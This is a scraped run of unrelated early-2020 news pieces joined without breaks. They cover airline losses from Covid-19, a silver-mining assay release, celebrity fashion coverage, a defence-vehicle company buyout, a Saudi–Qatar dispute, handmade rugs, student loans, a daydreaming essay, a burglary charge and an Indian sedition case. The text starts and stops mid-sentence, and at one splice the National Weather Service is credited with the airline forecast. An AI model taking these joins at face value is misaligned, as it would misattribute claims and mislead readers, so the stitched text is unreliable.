district website at www.hcde.org/homestudy. " The National Weather Service said: A 'SARS-shaped' Covid-19 epidemic could end up costing airlines $29.3billion (24billion), according to their global trade association. The International Air Transport Association (IATA) says carriers in the Asia-Pacific region stand to lose up to $27.8billion in revenue from the coronavirus outbreak due to a projected 13 per cent year-on-year decline in passenger demand. Domestic airlines in China, where 99 per cent of Covid-19 cases have been identified, are predicted to lose around $12.8billion in revenues, compared to a modest $1.5billion in losses in air transport outside the Asia-Pacific region. A health worker sprays disinfectant inside a Vietnam Airlines plane to prevent the spread of the coronavirus Australia's flagship airline Qantas, Air-France-KLM, and British Airways are among the many airlines who have stated that the virus is expected to cause considerable financial impact for them. British Airways decided yesterday to suspend all direct flights to mainland China until 17 April, while Air-France KLM estimates they will lose between 130million and 170million if flights to mainland China are suspended until tmid-April. IATA's director general admits Alexandre de Juniac has admitted 2020 'will be a very tough year for airlines,' but that his organisation is working with numerous institutions including the World Health Organisation (WHO) to contain the outbreak. 'The sharp downturn in demand as a result of Covid-19 will have a financial impact on airlinessevere for those particularly exposed to the China market,' he adds. The agency forecast total air passenger demand to fall by 4.7 per cent this year, the first times this has happened since the global financial crisis. Its estimates foresee a scenario where Covid-19 has a V-shaped impact, similar to what happened during the SARS virus outbreak in 2003, with a sharp dive followed by a quick recovery, according to IATA. A child goes through a security check at a Chinese airport. China has been the most affected by the coronavirus, with domestic airlines being particularly hit Because the Chinese economy comprises a larger share of the world economy today than it did at the time of the SARS outbreak, IATA believes the economic consequences of the coronavirus are expected to be greater this time. In 2018, China's share of the world economy was 16 per cent compared to 4 per cent in 2002, while its share in the travel and tourism market was 18 per cent in 2018 against 5 per cent nearly two decades ago. Therefore, a contagion emanating from China should have a much larger effect on the worldwide airline sector than it did in the past, especially airlines which rely on large-scale passenger traffic to and from the country. 27,000 Cathay Pacific staff have been asked to take unpaid leave from the airline Cathay Pacific recently issued a profit warning after what one executive called 'the most challenging Chinese New Year period we have experienced.' The Hong Kong flag carrier saw a fall in 40 per cent drop in year-on-year passenger capacity for January. For this month and the next, they have cut its passenger flight capacity by around 40 per cent. 27,000 Cathay Pacific staff have been asked to take unpaid leave from the company to reduce costs. About 2,200 people have died from the coronavirus illness, which has infected at least 76,800 worldwide. China is home to all but about 1,400 cases, though the disease is increasingly affecting more countries. Many nations are warning people not to travel to China, or barring travellers from China, especially from the Wuhan area, at the centre of the outbreak. People around the world are also voluntarily scaling back travel, while some governments and health experts are encouraging people to stay indoors not only in China but also South Korea and Japan to avoid getting infected. Vancouver, British Columbia--(Newsfile Corp. - February 21, 2020) - Nicola Mining Inc. (TSXV: NIM), (the "Company" or "Nicola") is pleased to announce that it has received rock sample results taken during the Company's 2019 soil sampling program (the "2019 Program") at its wholly owned Treasure Mountain Property, a fully-permitted high-grade silver mine located approximately 90 minutes from its Craigmont Mill. The Company provided results from soil samples in a news release issued on January 23, 2020. In addition to soil sampling, the Company took five rock samples, three from soil sample locations where a rock sample was taken in lieu of adequate soil, and two samples from outcropping mineralized material that appears to be part of the Cal Vein. Sample 2100151, which was one of the two Cal Vein samples, provided significant mineralization: Sample 2100151: 813 grams Ag and 0.518 grams Au per tonne and 19% zinc and 4.66% copper The Cal Vein is a well-known structure located on the northern side of the mountain, within the MB Zone, which is located approximately 1.5 km from the Treasure Mountain Mine. Figure 1 shows the location of rock and soil samples from the 2019 Program. Figure 1: Treasure Mountain Property soil and rock sampling program locations To view an enhanced version of this graphic, please visit: https://orders.newsfilecorp.com/files/4873/52659_6274599414e31bad_001full.jpg The select rock samples of mineralized vein material from the 2019 Program appear to be from the same Cal Vein system that was tested in 2010 and 2013 that also provided high-grade assays. Mineralization remains open and the Company plans to conduct additional testing during 2020. Assay results of the rock samples taken during the 2019 field program are provided in Figure 2, below: Figure 2: Rock Sample Results To view an enhanced version of this graphic, please visit: https://orders.newsfilecorp.com/files/4873/52659_6274599414e31bad_002full.jpg Scientific and Technical Information All information of a scientific or technical nature contained in this document, including sampling, analytical and test data has been reviewed and approved by Kevin Wells, P. Geo., a consulting Geologist to Nicola Mining. Wells is a Qualified Person as defined by National Instrument 43-101 - Standards of Disclosure for Mineral Projects. Sample Preparation, Analysis and Quality Assurance/Quality Control Samples were received at Activation Laboratories[ 1] in Kamloops and samples were prepared by crushing and then pulverizing to a size of >95% 105um or less. Multi-element analysis was by ICP-OES on a 4-acid digestion. Au was obtained by a 30g fire assay and Atomic Absorption Spectroscopy. Activation Laboratories is an ISO-17025 accredited laboratory. About Nicola Mining Nicola Mining Inc. is a junior mining company listed on the TSX Venture Exchange and is in the process of recommencing mill feed processing operations at its 100% owned modern mill and tailings facility, located near Merritt, British Columbia. It has already signed four mill profit share agreements with high grade gold producers. The fully-permitted mill can process both gold and silver mill feed via gravity and flotation processes. The Company also owns 100% of the New Craigmont Project, a high-grade copper property, and an active gravel pit that is located adjacent to its milling operations. About Treasure Mountain Property Nicola Mining Inc. owns 100% of the Treasure Mountain Property, an approximately 2833 hectare mineral property consisting of 51 mineral tenures comprising 21 legacy claims, 100 cell units, and five crown grants. The Company continues to maintain the option of reopening Level 1 in order to extract silver mill feed from Stope 2 and continues to monitor silver prices prior to reconsidering reopening the mine. The Property also has 3 highly prospective targets: MB Zone located approximately 1.5 km from the underground mine workings on the undrilled Northern backside of the mountain. JV Vein/Eastern Zone located approximately 1.0 km from the underground mine workings. Jensen Portal located approximately 100 m west of the Level 3 Portal and previously mined in the 1920's. On behalf of the Board of Directors "Peter Espig" Peter Espig CEO & Director For additional information Contact: Peter Espig Phone: (778) 385-1213 Email: info@nicolamining.com Neither the TSX Venture Exchange nor its Regulation Services Provider (as that term is defined in the policies of the TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this release. [ 1] Activation Laboratories Kamloops is a full-service geochemistry laboratory that provides sample preparation, fire assay, ICP-OES, ICP-MS, XRF, atomic absorption, gravimetry, Leco Carbon/Sulphur, mercury analysis, and Davis Tube magnetic separation, services. To view the source version of this press release, please visit https://www.newsfilecorp.com/release/52659 Four-time Grammy winner Lionel Richie sweetly supported his youngest daughter Sofia at the launch of her Rolla's denim collaboration at 1 Hotel in West Hollywood on Thursday night. The 70-year-old R&B legend revealed what his love advice was to the 21-year-old Select Model as well as his 38-year-old daughter Nicole growing up. 'Boys, you know, are basic knuckleheads. So when they come to you, you know what that's all about because you were one of them and probably still are,' Lionel told ET on Wednesday. Daddy dearest: Four-time Grammy winner Lionel Richie sweetly supported his youngest daughter Sofia at the launch of her Rolla's denim collaboration at 1 Hotel in West Hollywood on Thursday night 'As far as the boys are concerned, just tell them, "Don't be stupid." But it is a challenge, especially now with social media.' Richie was likely shocked when he discovered his precious princess began her on/off romance with 36-year-old father-of-three Scott Disick back in 2017 when she was only 18. The Oscar-winning songwriter - who just dropped his new fragrance Hello - donned a brown suede jacket over a black top and skinny jeans for the black carpet. 'Boys are basic knuckleheads': The 70-year-old R&B legend revealed what his love advice was to the 21-year-old Select Model as well as his 38-year-old daughter Nicole growing up Lionel told ET on Wednesday: 'As far as the boys are concerned, just tell them, "Don't be stupid." But it is a challenge, especially now with social media' 'My love!' Richie was likely shocked when he discovered his precious princess began her on/off romance with 36-year-old father-of-three Scott Disick (R) back in 2017 when she was only 18 Lionel - who escorted his much younger girlfriend Lisa Parigi to the party - is next scheduled to perform February 27 at the Dubai Jazz Festival i+n United Arab Emirates. Richie also judges the 18th season of American Idol - airing Sundays on ABC - alongside Katy Perry and Luke Bryan. Meanwhile, Sofia rocked a baggy pair of her Rolla's blue jeans, which she strangely tapered with silver wires tied around her ankles. Icon! The Oscar-winning songwriter - who just dropped his new fragrance Hello - donned a brown suede jacket over a black top and skinny jeans for the black carpet Ladylove: Lionel - who escorted his much younger girlfriend Lisa Parigi (L) to the party - next performs February 27 at the Dubai Jazz Festival i+n United Arab Emirates 'Auditions, Part 2': Richie also judges the 18th season of American Idol - airing Sundays on ABC - alongside Katy Perry (M) and Luke Bryan (R) The Calabasas socialite paired her denim with a brown leather corset fastened over a traditional black blazer and she wore black pumps selected by stylist Jill Jacobs. Miraculously, Sofia's hairstylist Ruslan Nureev and make-up artist Jose Corella managed to conceal the swelling from the oral surgery she underwent Tuesday to remove her wisdom teeth. Aside from Lionel and Scott, Richie was supported at her launch by her heavily-tattooed, 25-year-old brother Miles. Representing: Sofia rocked a baggy pair of her Rolla's blue jeans Say what? She strangely tapered the pant legs with silver wires tied around her ankles Waist cincher: The Calabasas socialite paired her denim with a brown leather corset fastened over a traditional black blazer and she wore black pumps selected by stylist Jill Jacobs 'This really sucks': Miraculously, Sofia's hairstylist Ruslan Nureev and make-up artist Jose Corella managed to conceal the swelling from the oral surgery she underwent Tuesday to remove her wisdom teeth Also enjoying the Australian denim brand's bash was Friday hitmaker Rebecca Black, who showed a little leg in a black leather mini-skirt and knee-high PVC boots. Pop star Sia's dancing avatar Maddie Ziegler bared her belly in a cropped white turtleneck beneath a black leather blazer, matching peep-toe heels, and blue jeans. DNA Model Amelia Hamlin - whose parents are Lisa Rinna and Harry Hamlin - also flaunted her taut tummy in a white corset top, black faded jeans, and black platform boots. Sibling alert! Aside from Lionel and Scott, Richie was supported at her launch by her heavily-tattooed, 25-year-old brother Miles One hit wonder: Also enjoying the Australian denim brand's bash was Friday hitmaker Rebecca Black, who showed a little leg in a black leather mini-skirt and knee-high PVC boots Hoofer: Pop star Sia's dancing avatar Maddie Ziegler bared her belly in a cropped white turtleneck beneath a black leather blazer, matching peep-toe heels, and blue jeans Nepotism: DNA Model Amelia Hamlin - whose parents are Lisa Rinna and Harry Hamlin - also flaunted her taut tummy in a white corset top, black faded jeans, and black platform boots A couple of years ago, Cibolos Kalmar RT Center LLC was part of a European conglomerate that no longer wanted to own it. Kalmar had been producing each month a dozen 118,000-pound rough terrain vehicles that can move shipping containers on unpaved surfaces. But that business had virtually disappeared. The U.S. military no longer needed to add to its fleet of roughly 1,000 vehicles, and a move to expand into the commercial market had limited success. Kalmar axed 130 from its 200-person workforce. Cargotec, Kalmars Helsinki, Finland-based owner and the maker of cargo-handling machinery, hung a for-sale sign on the business in 2016. And while many defense firms kicked the tires, none wanted to own it. For two years, we were the poor little bride trying to get somebody to take us, said Stephen Speakes, a former Army lieutenant general who joined Kalmar as CEO in 2013. The company has a 13.3-acre facility on Guadalupe Drive. Speakes acknowledged the manufacturing of whats a fairly industrial product didnt present a huge growth opportunity, likely a turnoff for prospective buyers. Its not as if youre going to put one of these in every persons garage, he said. Texas Inc.: Get the best of business news sent directly to your inbox Kalmar teetered on the brink of shutting down before it struck a deal with two Dallas-based private-equity firms that partnered with company management in 2018. The buyers renamed the company Independent Rough Terrain Center LLC, or IRTC. The new owners saw a company that had produced some 1,300 rough terrain container handlers over its 20-year history. Providing parts and service for those machines alone creates cash flow that gives the business some stability, said Travis Baldwin, a principal of Congruent Investment Partners LLC. The firm teamed with Independent Bankers Capital Funds to buy the business. The real upside, though, is in obtaining contracts to rebuild the machines and equip them with the latest technology and functions, Baldwin said. That came to fruition last month when IRTC won a $62 million contract to perform a service life extension program or SLEP, on the Marine Corps 117-vehicle fleet. Company officials hope that contract will serve as a springboard for performing similar work on the Armys much larger fleet of 900 rough terrain container handlers, or RTCH. (Company officials pronounce it as Retch, while those in the military say Ratch.) Good times end The Marine Corps contract was welcomed news at a company that had been mired in a distressed state leading up to its sale. Speakes joined the business just as the good times were ending. Manufacturing of the vehicles had slowed to a trickle in part because war-time spending had diminished, he said. While serving in Operation Iraqi Freedom, Speakes learned first-hand the difficulties combat troops have getting supplies delivered intact. Half the water bottles and other supplies transported in shipping containers suffered breakage, he said. We needed a vehicle that took this container to the point of use, he said. Speakes later went to work at the Pentagon where he served as the financial strategist for the Army. He testified before Congress about the Armys funding. In 2009, Speakes entered civilian life and joined USAA as its enterprise executive vice president for transformation and strategy. He reported directly to then-CEO Joe Robles Jr. It was essentially to realign the company in ways that were thought to be in keeping with their changing corporate model and their vision of an integrated approach to the member, Speakes said of his USAA role. Robles eventually sacked Speakes. It led Speakes to write a book, titled From Hero to Zero, and Back! a primer for veterans on the lessons he learned transitioning into civilian life. In the book, like the second page, I said Joe called me and said, Steve, we no longer need your services. Speakes didnt remain unemployed for long. Kalmars U.S. board of directors hired him to take the helm of the company in October 2013. (Foreign companies with Defense Department contracts must have a board comprised of U.S. citizens to make operational decisions.) Commercial market With military contracts going away, Kalmar had entered the commercial market by building red rough terrain container handlers. It built vehicles for the oil-fracking industry, allowing companies to haul sand in huge boxes. But it faced stiff competition. When Speakes came on board, commercial vehicles were still rolling off the assembly line even though Kalmar had no buyers lined up. He pulled the plug on that within a few months on the job. The companys strategy: Well make them and the commercial world will flock to buy them, Speakes said. It doesnt work that way. A dream is not a strategy. Kalmar hung on by offering parts and services, but it didnt have an extensive parts inventory. Its owner treated it as a cost center when the military contracts dried up, Congruents Baldwin said. The focus wasnt as much on profitability as it was on controlling costs, he said of Kalmar. It was kind of in a tough state. In a lot of ways, the ambition of the personnel had been constrained by the structure in which they operated for years. Cargotec put Kalmar on the block, saying it didnt fit with its core operations. Speakes contacted Broadway Bank CEO David Bohne, a former colleague at USAA, and asked if he knew of any private-equity firms that might want to buy Kalmar. Bohne referred him to Congruent and Independent Bankers Capital Funds, which is an investment vehicle for community banks. The firms looked over Kalmar not long after Cargotec put it up for sale. Baldwin believes Cargotec negotiated with other buyers. We hung around the hoop, and we built a really good relationship with Steve and the management team, Baldwin said. Ultimately it came our way. Cargotec publicly reported it sold Kalmar RT Center for about $9.3 million while booking a nearly $4.8 million loss on the deal. On its website, Congruent disclosed it invested $13.5 million of debt and equity to acquire the company. That includes money to bolster the companys balance sheet and parts inventory. And the reason is, the government says, I want my stuff and I want it now, said William Bif Mott, IRTCs director of customer solutions, explaining the importance of increasing inventory. Youve got to have an inventory that supports the Army at the rate they want it. Otherwise, it will take its business elsewhere. Mott bought back at auction for $32,000 one RTCH that had been owned by the Marines. IRTC is overhauling it and will use it as a prototype for what the Marines will be getting. Rebuilding the RTCH The upgraded RTCH features a new computer system, including for the steering and transmission. It also will get a radar that detects nearby objects. Its fuel economy has been increased by 17 percent, reducing the time spent refueling. Its also more ergonomically friendly, said technician Steve Stephens. It handles loads faster. Its more productive, so you can get more out of it as far as moving the cans, Mott added, referring to the 20- and 40-foot shipping containers. The vehicles can lift containers weighing as much as 53,000 pounds. The Marines gave another company Speakes wouldnt identify a RTCH so the Corps would have competition in the bidding for the $62 million SLEP contract. Speakes described the company as ferocious because theyre really big. Still, IRTC won the contract. As a small business, IRTC is more attractive to the Defense Department, Speakes said. The Marines looked at replacing its fleet with new vehicles but opted instead to rebuild its existing fleet more than a decade old and extend its usefulness until 2030, said Mike Farley, team lead for the Marine Corps System Commands Material Handling and Construction Equipment Team in Virginia. It would cost us probably this is just a guesstimate between $1.2 million and $1.4 million per new machine, he said. We can do these roughly (for) $500,000 a SLEP. So were actually saving the government a significant amount of money. As for how long IRTCs private-equity owners will hold on to the company before selling it, Congruents Baldwin said it has no time frame. It typically keeps an investment for five or six years. Theres a stigma out there that private-equity firms just buy companies, come in, slash head count to improve profitability, and then flip the businesses, he said. Thats really not the case with companies like IRTC in the lower-middle market, which he defines as those with less than $100 million in annual revenue. Businesses of that size, theres really not that much waste, Baldwin said. Its usually the opposite. Businesses have been under-invested and therefore havent reached their potential. So we come in and bring on personnel to help drive growth. Thats effectively what weve done here. Patrick Danner is a San Antonio-based staff writer covering banking and civil courts. Read him on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | pdanner@express-news.net | Twitter: @AlamoPD Close Get email notifications on {{subject}} daily! Your notification has been saved. There was a problem saving your notification. {{description}} Email notifications are only sent once a day, and only if there are new matching items. Saudi Arabia, Thursday prevented Qatars minister of health Hanan Alkuwari from attending a Gulf Cooperation Council (GCC) ministerial meeting on preventive measures for deadly coronavirus, The New Arab reports. Qatars foreign ministry on Tweeter lambasted the denial and accused the kingdom of politicizing a humanitarian sector that requires close collaboration and coordination due to the urgency of the situation. Saudi Arabia has repeatedly claimed that the GCC, especially the technical committees, have not been affected by the crisis, the foreign ministry said. Qatar has been facing regional boycott by Saudi Arabia, UAE, Bahrain and Egypt since June 2017 over the allegations that the tiny Gulf country sponsors terrorism. Attempts by both sides to defuse the crisis collapsed in January. Doha also urged Saudi Arabia to assume its role as a professional and impartial host of the GCC headquarters, the London-based media notes. In a past life, I worked as propaganda writer for the Tibetan government-in-exile. Interesting times! The Dalai Lama's government offices are in the Himalayan foothills of Northern India and surrounded by a Tibetan community of settled refugees. After work, I tried to teach some of them English and failed to learn Tibetan (it has three alphabets). But I did learn to respect and appreciate rugs. Many of the Tibetan refugees were skilled in the traditional art of carpet-making and this was one of the small industries that kept the community going. Watching the laborious and intricate process of hand-knotting a rug was an eye-opener. I asked my Tibetan friend if the refugee community got to keep any of their own rugs. "Oh yes," he said. "We bought a new one last week." I looked around the family's one-room home, with its concrete floor and simple unframed picture of His Holiness on the wall. Where was the new rug? My friend laughed and peeled back the bedclothes to show me the rug, splendid in softness and colour, hidden under the sheets and blankets. "We would never put a new rug on the floor!" he said. "We'll sleep on it for 10 years and then it will go on the floor." Expand Close Rug Invaders Collection by cc-tapis from Minima / Facebook Twitter Email Whatsapp Rug Invaders Collection by cc-tapis from Minima Traditional Tibetan rugs are bright in colour, bold in pattern, and relatively small. Those designs, on a rug of the scale most Westerners want in their homes, would be overwhelming. That's why many of the modern rugs woven in India or Nepal are designed by contemporary designers. One of the most influential of them is Jan Kath. Like the Tibetans, Kath has carpets in the blood. He comes from the third generation of a family of carpet dealers from in Germany. "He's a bit of a genius, Jan Kath," says Conrad Lyons of Rug Art. I'm inclined to agree. I may never be able to afford one of his rugs - the prices start at 2,500 for a hand-knotted rug (170cm x 240cm) and go up to around 10,000 - but their beauty takes my breath away. One of his most famous collections is called Erased Heritage. "Just as every Bavarian village has its own traditional dress, every community, region and cultural group in the East has developed a particular style of carpet," Kath explains. "With the Erased Heritage collection, we are helping these ideas survive into the modern age." The designs are based on traditional oriental carpets, but unexpected in colour and finished with the scuffed patina of an ancient and well-worn rug. To compare them to stone-washed jeans doesn't do them justice, but it's the same idea. Kath's rugs are made in small factories and workshops in India and Nepal (the company is strong on employment ethics and sustainability) and this particular collection is made in an interesting way. The loom master sits opposite the workers, with the instructions in front of him, and chants them aloud in a deep and sonorous voice. "Seven coral red, five garnet, two beige" In his own language, obviously. "It is not at all straightforward to apply these old production methods to my designs," says Kath. I believe him, but the idea of the singing carpet-masters is pure magic. Expand Close Slinkie rug by Patricia Urquiola for cc tapis from Minima / Facebook Twitter Email Whatsapp Slinkie rug by Patricia Urquiola for cc tapis from Minima Then Lyons tells me something that isn't in the brochure. Once the rugs are woven, they are set on fire. "For the Erased Heritage series, the rug is made and finished as a conventional rug," Lyons explains. "Then it is torched! The wool burns to its base and the silk, which is flame resistant, maintains its height." The process gives the impression that the carpet is worn in places, but also makes it three-dimensional. In the finished piece, the silk element, which is raised, attracts the light. "Silk is robust," Lyons says. "There is a misconception that it's delicate. The rugs are phenomenally resilient. They should outlive even the best antique rugs." If you like the way Kath's rugs look, but don't have the money to buy one, his imitators are many. The Antiquarian Rug in Janissary Multicolour (140cm x 200cm) from Harvey Norman costs 500. It's made of cotton and mass produced, so not the same thing by a long stretch, but in visual terms, it's playing with the same idea. The intended effect is of a worn Persian carpet, but interpreted in contemporary colours. Similarly, and cheaper still, Ikea's Vonsbakrug (170cm x 230cm) has an oriental pattern that is made to look faded and worn. It costs 65 and is made of polypropylene. There's no cheap way of buying a hand-knotted rug and that's as it should be. It's a skilled, time-consuming craft and the workers have to be fairly paid. But the result is special in the same way that hand-knitted jumpers are special. This at least partly because even the best manual weaving includes irregularities and these, to a large extent, are what make the design come alive. Machines don't make mistakes, but making mistakes is what makes us human. Kath's rugs are generally conventional in shape, but many other designers are abandoning the rectangle and coming up with rugs of all shapes and sizes. In the money-no-object bracket, Patricia Urquiola's Slinkie collection for the French brand CC Tapis, is stunning. Remember the infuriating toy that always gets tangled? That's the inspiration. What's innovative about Urquiola's design is that the pattern is echoed in the shape of the rug, which spirals over itself like a slinkie, and the wool is carved at different lengths to give the rug a three dimensional aspect. In many respects, it's like a piece of sculpture for the floor. The prices are sculptural too. The Slinkie collection starts at 5,667 plus vat. "It's a completely new interpretation of the shape and use of a rug," says Philippa Grant, Interior Designer with Minima. "If you're putting it into your house, you need to consider that. A rug like that would need to be the main focus of the room and I don't think you would want to put anything on top of it." The fun and funky items in the Rug Invaders collection by CC Tapis (from 1,975 plus vat) look like the unruly offspring of a Persian carpet and a 1970s video game. Their shape, as well as their pattern and colour, is inspired by eight-bit graphics. For now, this is more than most of us will pay for a conversation piece, but watch and wait. It's only a matter of time before oddly shaped and brightly coloured lookalikes start appearing in the shops. See rugart.ie, minimahome.com and harveynorman.ie. The federal government has grown in importance for higher education for decades. The most long-lasting effect could be its status as the lender of first resort for student loans. The vast majority of federal spending on colleges and universities comes in the form of making loans, dwarfing all other activities.Of the $120 billion supplied by the Department of Education for higher ed institutions in FY2017-FY2018, 79 percent of this support (about $95 billion) was in the form of student loans, according to Open the Books, a nonprofit government watchdog.Another 19 percent of funding was for direct payments, such as grants, and contracts made up 2 percent of federal funding. The vast majority, about 91 percent, of that funding went to traditional schools and community colleges. However, for-profit colleges and cosmetology schools received the rest, roughly $11 billion.In theory, those loans wouldn't be a problem because the students would graduate and then repay their loans accordingly. In reality, however, borrowers often don't graduate, struggle to repay their loans, fall behind on their payments, and default. Borrowers can avoid default by enrolling in income-driven repayment (IDR) plans, but as these plans grow in popularity, graduate students with higher debt have flocked to them. IDR plans end in de facto loan forgiveness, and the Congressional Budget Office projects that $167 billion in graduate student debt and $40 billion in undergraduate student debt will be forgiven by 2029.While loans were seen as a way to help low-income students achieve a college degree, it's become a program that has turned the Education Department into a bank with bad borrowers, leaving taxpayers to cover the bill. Rest is not idleness, and to lie sometimes on the grass under trees on a summer's day, listening to the murmur of the water, or watching the clouds float across the sky, is by no means a waste of time. John Lubbock When I was studying computer science back in college, I was so absorbed in my academic pursuits that I never made time for socializing with friends outside of class. I would read copious amounts of books, and research for hours at a time without resting. This pattern has repeated itself throughout my life. It's easy for me to become so focused on busy work that I miss out on what truly mattered to me. On far too many weekends and moments of downtime, you'd find me looking at my phone instead of spending quality time with my wife and two young kids. It took me a while, but eventually I came to realize that busyness does not, in and of itself, equal success. Sure, when I was first building my company, JotForm, it seemed that way. Clocking in hours upon hours trying to develop this dream I had what could be better than that? Heres the thing thats taken me a few decades to learn: We need time and space to unfocus, too. Our brightest ideas will come to us during moments of rest. Most of our greatest thinkers have long extolled the virtues of understanding ourselves. In Ancient Greece, the act of mind-wandering was viewed as a way to guide us back into a healthy state of being for reconnecting with a part of ourselves we might otherwise be blind to. Related: Out of Office: When You're Flying, So Should Your Mind Your mind is never idle, even when you let it wander Many of us are caught up in finding ways to be more productive. We write endless to-do lists and download scheduling apps always finding activities to give our attention to. But theres something to be said for building in periods of the day in which we let our minds wander aimlessly. Srini Pillay, a neuroscientist and acclaimed author, makes the case for why we need to build these pauses into our day. In a story for the Harvard Business Review, he writes: The problem is that excessive focus exhausts the focus circuits in your brain. It can drain your energy and make you lose self-control. This energy drain can also make you more impulsive and less helpful. As a result, decisions are poorly thought-out, and you become less collaborative. Its no surprise that these intense periods of hyperfocus leave us feeling burned out and apathetic. In the tech world especially, we wear busyness as a badge-of-honor, avoiding boredom at all costs. But as Pillay explains: In keeping with recent research, both focus and unfocus are vital. The brain operates optimally when it toggles between focus and unfocus, allowing you to develop resilience, enhance creativity, and make better decisions too. Its true. Being an entrepreneur and successful leader means structuring our days in a way that allows for the immersion of deep work, and the gentle grounding offered by periods of daydreaming. Deliberately building both into your daily routine can help strengthen your agility and capacity to manage change more effectively. Dont just take my word for it. Modern-day research has found when your brain stays is allowed to wander, without thinking of anything in particular, patterns of activity known as the default mode network (DMN) continue to arise. This means that during periods of rest the DMN uses energy to activate old memories, and to creatively connect dots we might otherwise not be able to access. Related: Stop Trying to Be 'Mindful.' It Might Be Killing Your Creativity. Daydreaming is different from ruminating Sometimes, you have to look back in order to understand the things that lie ahead. Yvonne Woon Cognitive researchers believe that to maximize the benefits of letting our minds wander, we should lean on positive constructive daydreaming (PCD), which energizes the brain and is characterized by playful imagery and creative thought. For me, this means picturing my familys farm in my home town and the sway of olive branches under a warm sun. Solutions come when we are not engaged directly in tasks, and have the mental freedom to entertain new ideas and find connections that have previously evaded us. Theyre found in the liminal space between focus and unfocus. Practicing PCD is different from the pitfalls of ruminating where youre often fixated on your problems versus trying to come up with answers. In other words, your mood accounts for a lot. If youre away from the busy work but thinking of everything that could or has gone wrong, youre not actually resting. Our off-task musings whether purposefully positive or negative is what makes all the difference, according to researchers. Its no wonder then that our greatest inspirations seem to arrive when were basking in the sunlight of a long hike or playfully swimming outdoors. Any entrepreneur knows the best ideas come from the unlikeliest of places. Engaging in a low-key activity you enjoy, as Pillay suggests, is a vital part of reaching deep into lost memories and connecting the dots for solutions now, and in the future. The goal is to strike a balance between total immersion and a relaxed, wandering mind. This is where our bold, outlandish ideas will find room to grow and flourish. Related: Why Successful Leaders Should Find Time to Doodle Related: To Find Solutions, Try Unfocusing. Here's How. Aditya Roy Kapur: The Unusual Hero 4 Ways to Unlock Your Inner Creativity Copyright 2020 Entrepreneur.com Inc., All rights reserved Four area residents have been charged in connection with a burglary at a Farmington storage facility in August. Garry Triplett, 33, Whitney Harrington, 26, Devin Young, 31, and Maria Palazzolo, 19, were each charged Tuesday with second-degree burglary, felony stealing, first-degree tampering with a motor vehicle, and a Class E felony of possession of burglary tools. According to a probable cause statement from the St. Francois County Sheriffs Department, on Aug. 26, the four suspects arrived at a storage facility on Schwartz Road in Farmington, in a stolen U-Haul box truck. Once there, they reportedly cut the master lock on one storage unit and all four individuals were seen on surveillance camera footage loading items into the truck. The report states that the items stolen from the unit included 25 tubs of Beanie Babies and stainless steel racks and shelving. There were more than 600 Beanie Babies in the stolen tubs, reportedly worth between $7 to $10 each. The shelving was reportedly worth $250. On the same day, all four individuals reportedly entered Farmington Pawn, approximately a half mile from the storage facility. While there, Palazzolo allegedly used a stolen drivers license to pawn a chainsaw that had been reported stolen in Illinois, which is also where the U-Haul theft was reported. In addition to charges related to the storage unit burglary, Palazzolo was charged with Class D felony forgery. The U-Haul was located on Highway 221 in an area behind a residence shared by Triplett and Harrington. The report states that the box truck still had items belonging to the rightful leaseholder of the storage unit inside. When interviewed, the report states that Triplett admitted to breaking into the unit with the others, and admitted he knew the U-Haul was stolen. He then revealed the location of the stolen Beanie Babies. Arrest warrants were issued Thursday for all four individuals and a $10,000 cash or surety bond was set in each case. Triplett and Harrington have been booked on the charges at the St. Francois County Jail. Harrington was released from custody Friday morning. Bobby Radford is a reporter for the Daily Journal. He can be reached at bradford@dailyjournalonline.com Love 6 Funny 39 Wow 5 Sad 11 Angry 24 Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Amulya had asked attendees to shout 'Pakistan Zindabad' during her speech at the anti-CAA event organised under the banner of 'Save Constitution'. The organisers had invited her to address the gathering soon after Owaisi came on stage. The woman in a gathering against the Citizenship Amendment Act (CAA) in Karnatakas Bengaluru, who shouted "Pakistan zindabad" slogans, was denied bail by a judicial magistrate late Thursday night. ANI reported that she will be kept in judicial custody for 14 days and a local court is expected to hear her bail petition on Monday. She was earlier sent for three-day custody. According to The Hindu, alleged Bharatiya Janata Party supporters threw stones at Amulyas fathers house at Gullagadde near Koppa on Thursday night, after she was charged for making objectionable remarks during the event. Amulya 'father Wazi said that the incident, which left window panes and doors damaged, took place at around 7.30 pm. They are all BJP supporters. They were in a group. I have complained to the police with the names of a few who led the group, he told the newspaper. The woman, identified as Amulya Leona had raised 'Pakistan zindabad' slogan at an anti-CAA rally organised by AIMIM chief Asaduddin Owaisi. A case was almost immediately registered against her under Section 124A (Offence of sedition) of the Indian Penal Code. "We have registered a suo moto case under Section 124A (sedition), 153A and B (promoting enmity between different groups and imputations, assertions prejudicial to national integration). Once formalities are completed, we will produce Amulya before a judicial magistrate," B Ramesh, DCP Bengaluru (West) said. Amulya had asked attendees to shout "Pakistan Zindabad" during her speech at the event organised under the banner of "Save Constitution". The organisers had invited her to address the gathering soon after Owaisi came on stage. #WATCH The full clip of the incident where a woman named Amulya at an anti-CAA-NRC rally in Bengaluru raised slogan of 'Pakistan zindabad' today. AIMIM Chief Asaddudin Owaisi present at rally stopped the woman from raising the slogan; He has condemned the incident. pic.twitter.com/wvzFIfbnAJ ANI (@ANI) February 20, 2020 A baffled Owaisi rushed to snatch the mike from her and was joined by others who tried to remove her from the stage. But the woman was adamant and raised the slogan again repeatedly. Later, the police stepped in and removed her from the dais. The woman was taken into custody on Thursday, police had said that she might be charged with sedition. In one of her Facebook posts on 16 February, Amulya had hailed all south Asian countries, including Pakistan. She said that every citizen of a country is entitled to basic benefits and rights and that the government is responsible for every one of them equally. Owaisi, who addressed the gathering later, said he did not agree with the woman, whom he described as "so-called liberal" and asked all liberals to refrain from any events involving Muslims. "Neither I nor my party has any link with her. We denounce her. The organisers should not have invited her here. If I had known this, I would not have come here. We are for India and we no way support our enemy nation Pakistan. Our entire drive is to save India," the AIMIM MP said. I condemn such behaviour and if people want to behave in such a manner, they can do it elsewhere. Why did they choose this particular platform? - @asadowaisi pic.twitter.com/RVwKuoQGtv AIMIM (@aimim_national) February 20, 2020 He asked people to refrain from liberals. "If they (liberals) were so concerned about the Muslims and CAA, they should have their own Shaheen Bagh kind of protests," Owaisi had said, alleging that the amended citizenship law "smacked of governments hatred" towards Muslims and was against the poor. "The law is aimed at making Muslims stateless," he charged. During the event, the AIMIM chief also criticised the BJP government in Karnataka for booking a parent and the 